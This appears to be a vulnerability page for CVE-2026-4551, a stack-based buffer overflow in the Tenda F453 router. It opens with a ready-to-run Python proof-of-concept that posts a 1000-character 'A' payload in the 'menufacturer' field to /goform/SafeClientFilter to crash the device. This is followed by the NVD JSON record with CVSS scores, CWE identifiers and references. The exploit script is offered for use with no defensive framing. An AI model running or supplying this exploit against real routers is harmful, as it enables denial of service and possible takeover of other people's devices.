CVE-2026-4551

import requests # Target IP address of the vulnerable Tenda F453 router target_ip = "192.168.0.1" # Vulnerable endpoint url = f"http://{target_ip}/goform/SafeClientFilter" # Vulnerable parameter: 'menufacturer' # Creating a large payload to trigger stack-based buffer overflow. # Fill the buffer with 'A' characters (0x41) to overwrite the return address. payload = "A" * 1000 # Data payload to be sent in the POST request data = { "menufacturer": payload } try: print(f"Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) # Check if the request was sent (device might crash before responding) if response.status_code == 200: print("Request sent successfully, check device status for crash.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection error often indicates a successful crash (DoS) print(f"Connection error: {e}. The target may have crashed.")

{"cve": {"id": "CVE-2026-4551", "sourceIdentifier": "[email protected]", "published": "2026-03-22T15:17:09.697", "lastModified": "2026-04-02T20:50:34.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Tenda F453 1.0.0.3. This vulnerability affects the function fromSafeClientFilter of the file /goform/SafeClientFilter of the component Parameters Handler. Performing a manipulation of the argument menufacturer/Go results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en Tenda F453 1.0.0.3. Esta vulnerabilidad afecta a la función fromSafeClientFilter del archivo /goform/SafeClientFilter del componente Gestor de Parámetros. Realizar una manipulación del argumento menufacturer/Go resulta en un desbordamiento de búfer basado en pila. El ataque es posible de llevar a cabo de forma remota. El exploit ha sido hecho público y podría ser usado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:f453_firmware:1.0.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "66CB876C-7D99-4A12-91E3-FE153293C3F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:f453:-:*:*:*:*:*:*:*", "matchCriteriaId": "0B2C42B3-1621-4323-BAA4-4B71C33F7C4B"}]}]}], "references": [{"url": "https://github.com/Litengzheng/vul_db/blob/main/F453/vul_86/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.352378", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.352378", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.774929", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}